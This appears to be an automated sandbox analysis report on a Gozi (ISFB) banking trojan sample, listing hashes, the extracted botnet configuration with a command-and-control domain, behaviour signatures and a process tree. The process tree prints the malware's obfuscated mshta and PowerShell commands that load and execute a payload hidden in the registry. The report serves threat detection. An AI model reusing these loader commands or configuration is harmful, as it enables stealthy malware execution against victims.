gozi | 40bbc905f9521a2892abf91df0ed1678caf43be3c05f2aaf4192707d84f94665

Analysis

max time kernel
167s
max time network
160s
platform
windows10-1703_x64
resource
win10-20230915-en
resource tags

arch:x64arch:x86image:win10-20230915-enlocale:en-usos:windows10-1703-x64system
submitted
13-10-2023 01:40

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General

Target

url/Azienda.url
Size

193B
MD5

385b2d1cc0f48c9b113009619258b210
SHA1

2a956120277957bf6b11ec05568e148cb1c0bc7c
SHA256

589deb6665a90960cfbe3db62f3477f9a2087a2b2eb03d1a19ea69374a9eb34e
SHA512

a82d7f78c72d8ba1849473a7ac2536e1c332289fbdf11c6ea6f5de6f182208871a4ccb59a0f5facccdd6d0c78e9c9e10dcfe4aa067426fe0ce69358477364e18

Score

10^/10

gozi 5050 banker isfb trojan

Malware Config

Extracted

Family

gozi

Extracted

Family

gozi

Botnet

5050

fotexion.com

Attributes

base_path
/jerry/
build
250260
exe_type
loader
extension
.bob
server_id
50

rsa_pubkey.plain

aes.plain

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi
Blocklisted process makes network request 1 IoCs

Processes:

rundll32.exe

flow pid process

17 1372 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

1372 rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

rundll32.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1894964180-3551943068-3090682958-1000_Classes\Local Settings rundll32.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exe

pid process

1372 rundll32.exe
1372 rundll32.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

rundll32.exe

pid process

2284 rundll32.exe

flow	pid	process
17	1372	rundll32.exe

pid	process
1372	rundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1894964180-3551943068-3090682958-1000_Classes\Local Settings	rundll32.exe

pid	process
1372	rundll32.exe
1372	rundll32.exe

pid	process
2284	rundll32.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

rundll32.execontrol.exerundll32.exemshta.exe

description	pid	process	target process
PID 2284 wrote to memory of 2596	2284	rundll32.exe	control.exe
PID 2284 wrote to memory of 2596	2284	rundll32.exe	control.exe
PID 2596 wrote to memory of 4076	2596	control.exe	rundll32.exe
PID 2596 wrote to memory of 4076	2596	control.exe	rundll32.exe
PID 4076 wrote to memory of 1372	4076	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 1372	4076	rundll32.exe	rundll32.exe
PID 4076 wrote to memory of 1372	4076	rundll32.exe	rundll32.exe
PID 2920 wrote to memory of 2748	2920	mshta.exe	powershell.exe
PID 2920 wrote to memory of 2748	2920	mshta.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\url\Azienda.url
1⤵
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Windows\System32\control.exe
  "C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0G1F2NWK\modulo[1].cpl",
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0G1F2NWK\modulo[1].cpl",
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4076
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0G1F2NWK\modulo[1].cpl",
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      PID:1372

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" "about:<hta:application><script>Tkvj='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Tkvj).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\E65349E9-0DDA-0834-C77A-91BCEB4E55B0\\\OperatorList'));if(!window.flag)close()</script>"
1⤵
- Suspicious use of WriteProcessMemory
PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name vqtvvwts -value gp; new-alias -name ggbqayj -value iex; ggbqayj ([System.Text.Encoding]::ASCII.GetString((vqtvvwts "HKCU:Software\AppDataLow\Software\Microsoft\E65349E9-0DDA-0834-C77A-91BCEB4E55B0").BlackDocument))
  2⤵
  PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0G1F2NWK\modulo[1].cpl

Filesize
206KB

MD5
72e2a5c797954e895a41be5b20f867b2

SHA1
419aacfb3ccea9b08277bcc9405054fa4238a597

SHA256
858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

SHA512
77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

Download Submit
\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\0G1F2NWK\modulo[1].cpl

Filesize
206KB

MD5
72e2a5c797954e895a41be5b20f867b2

SHA1
419aacfb3ccea9b08277bcc9405054fa4238a597

SHA256
858d867cc62c0bf13b16ccdb9f6cd6022d61fc2ab98a7db60806a35c7da9b2e0

SHA512
77be53cf579f69ee728fafbe93568b8d4c462490ba3fe053db367798508abb0d7a838731d17e465f0a29b982eb49e1227d94c971823e1d375b2b761887e107b3

Download Submit
memory/1372-6-0x0000000003140000-0x0000000003169000-memory.dmp

Filesize
164KB

Download
memory/1372-7-0x0000000003410000-0x000000000341E000-memory.dmp

Filesize
56KB

Download
memory/1372-8-0x0000000003140000-0x0000000003169000-memory.dmp

Filesize
164KB

Download
memory/1372-9-0x0000000003410000-0x000000000341E000-memory.dmp

Filesize
56KB

Download
memory/1372-10-0x0000000003430000-0x000000000343D000-memory.dmp

Filesize
52KB

Download